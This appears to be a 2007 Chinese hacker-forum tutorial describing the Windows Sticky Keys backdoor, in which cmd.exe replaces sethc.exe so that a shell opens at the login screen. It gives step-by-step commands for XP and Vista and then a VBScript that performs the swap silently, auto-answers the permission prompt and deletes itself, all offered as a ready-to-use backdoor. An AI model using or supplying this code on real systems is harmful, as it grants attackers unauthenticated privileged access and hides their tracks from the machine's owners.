您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客教程 >> 正文

有史以来最酷的Windows后门
骇客基地 阅读: 时间:2007-12-7 3:13:37 来源:www.hookbase.com
  

后门原理: 

  在Windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。 

  XP: 

  将安装源光盘弹出(或将硬盘上的安装目录改名) 
  cd %widnir%\system32\dllcache 
  ren sethc.exe *.ex~ 
  cd %widnir%\system32 
  copy /y cmd.exe sethc.exe 

  VISTA: 

  takeown /f c:\windows\system32\sethc.exe 
  cacls c:\windows\system32\sethc.exe /G administrator:F 
  然后按XP方法替换文件 

  在登录界面按5此SHIFT,出来cmd shell,然后…… 

  后门扩展: 
  
  Dim obj, success  
  Set obj = CreateObject("WScript.Shell")  
  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)  
  success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)  
  success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)  
  success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)  
  success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)  
  success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)  

  第二句最有意思了.自动应答....以前就遇到过类似的问题 

  再更新.加个自删除,简化代码...  

  On Error Resume Next  
  Dim obj, success  
  Set obj = CreateObject("WScript.Shell")  
  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)  
  CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) 

 

[1] [2] 下一页

今天广告
参与评论:
注意事项:
【有史以来最酷的Windows后门】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号